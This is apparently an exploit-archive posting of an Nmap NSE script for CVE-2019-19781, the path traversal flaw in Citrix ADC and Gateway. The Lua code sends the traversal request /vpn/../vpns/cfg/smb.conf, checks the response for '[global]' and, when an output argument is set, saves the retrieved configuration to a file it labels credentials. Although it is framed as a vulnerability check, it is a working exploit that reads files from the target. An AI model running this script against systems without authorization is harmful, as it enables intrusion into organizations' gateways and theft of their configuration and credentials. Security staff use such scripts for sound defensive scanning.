This is an nmap nse script to test for the path traversal vulnerability in Citrix Application Delivery Controller (ADC) and Gateway.

MD5 | 3d57f69e4e44a43b2e99e03017ca3b2f

# Exploit Title: Path Traversal in Citrix Application Delivery Controller
(ADC) and Gateway.
# Date: 17-12-2019
# CVE: CVE-2019-19781
# Vulenrability: Path Traversal
# Vulnerablity Discovery: Mikhail Klyuchnikov
# Exploit Author: Dhiraj Mishra
# Vulnerable Version: 10.5, 11.1, 12.0, 12.1, and 13.0
# Vendor Homepage: https://www.citrix.com/
# References: https://support.citrix.com/article/CTX267027
# https://github.com/nmap/nmap/pull/1893

local http = require "http"
local stdnse = require "stdnse"
local shortport = require "shortport"
local table = require "table"
local string = require "string"
local vulns = require "vulns"
local nmap = require "nmap"
local io = require "io"

description = [[
This NSE script checks whether the traget server is vulnerable to
CVE-2019-19781
]]
---
-- @usage
-- nmap --script https-citrix-path-traversal -p
-- nmap --script https-citrix-path-traversal -p --script-args
output='file.txt'
-- @output
-- PORT STATE SERVICE
-- 443/tcp open http
-- | CVE-2019-19781:
-- | Host is vulnerable to CVE-2019-19781
-- @changelog
-- 16-01-2020 - Author: Dhiraj Mishra (@RandomDhiraj)
-- 17-12-2019 - Discovery: Mikhail Klyuchnikov (@__Mn1__)
-- @xmloutput
--
-- Citrix ADC Path Traversal aka (Shitrix)
-- VULNERABLE
--

-- Citrix Application Delivery Controller (ADC) and Gateway 10.5,
11.1, 12.0, 12.1, and 13.0 are vulnerable to a unauthenticated path
-- traversal vulnerability that allows attackers to read configurations or
any other file.
--

--
--

-- 2019
-- 17
-- 12
--

--
-- 17-12-2019
--
--

--
-- https://support.citrix.com/article/CTX267027
-- https://nvd.nist.gov/vuln/detail/CVE-2019-19781
--

--

author = "Dhiraj Mishra (@RandomDhiraj)"
Discovery = "Mikhail Klyuchnikov (@__Mn1__)"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"discovery", "intrusive","vuln"}

portrule = shortport.ssl

action = function(host,port)
local outputFile = stdnse.get_script_args(SCRIPT_NAME..".output") or nil
local vuln = {
title = 'Citrix ADC Path Traversal',
state = vulns.STATE.NOT_VULN,
description = [[
Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0,
12.1, and 13.0 are vulnerable
to a unauthenticated path traversal vulnerability that allows attackers to
read configurations or any other file.
]],
references = {
'https://support.citrix.com/article/CTX267027',
'https://nvd.nist.gov/vuln/detail/CVE-2019-19781',
},
dates = {
disclosure = {year = '2019', month = '12', day = '17'},
},
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local path = "/vpn/../vpns/cfg/smb.conf"
local response
local output = {}
local success = "Host is vulnerable to CVE-2019-19781"
local fail = "Host is not vulnerable"
local match = "[global]"
local credentials
local citrixADC
response = http.get(host, port.number, path)

if not response.status then
stdnse.print_debug("Request Failed")
return
end
if response.status == 200 then
if string.match(response.body, match) then
stdnse.print_debug("%s: %s GET %s - 200 OK",
SCRIPT_NAME,host.targetname or host.ip, path)
vuln.state = vulns.STATE.VULN
citrixADC = (("Path traversal: https://%s:%d%s"):format(host.targetname
or host.ip,port.number, path))
if outputFile then
credentials = response.body:gsub('%W','.')
vuln.check_results = stdnse.format_output(true, citrixADC)
vuln.extra_info = stdnse.format_output(true, "Credentials are being
stored in the output file")
file = io.open(outputFile, "a")
file:write(credentials, "n")
else
vuln.check_results = stdnse.format_output(true, citrixADC)
end
end
elseif response.status == 403 then
stdnse.print_debug("%s: %s GET %s - %d", SCRIPT_NAME, host.targetname
or host.ip, path, response.status)
vuln.state = vulns.STATE.NOT_VULN
end

return vuln_report:make_output(vuln)
end

Source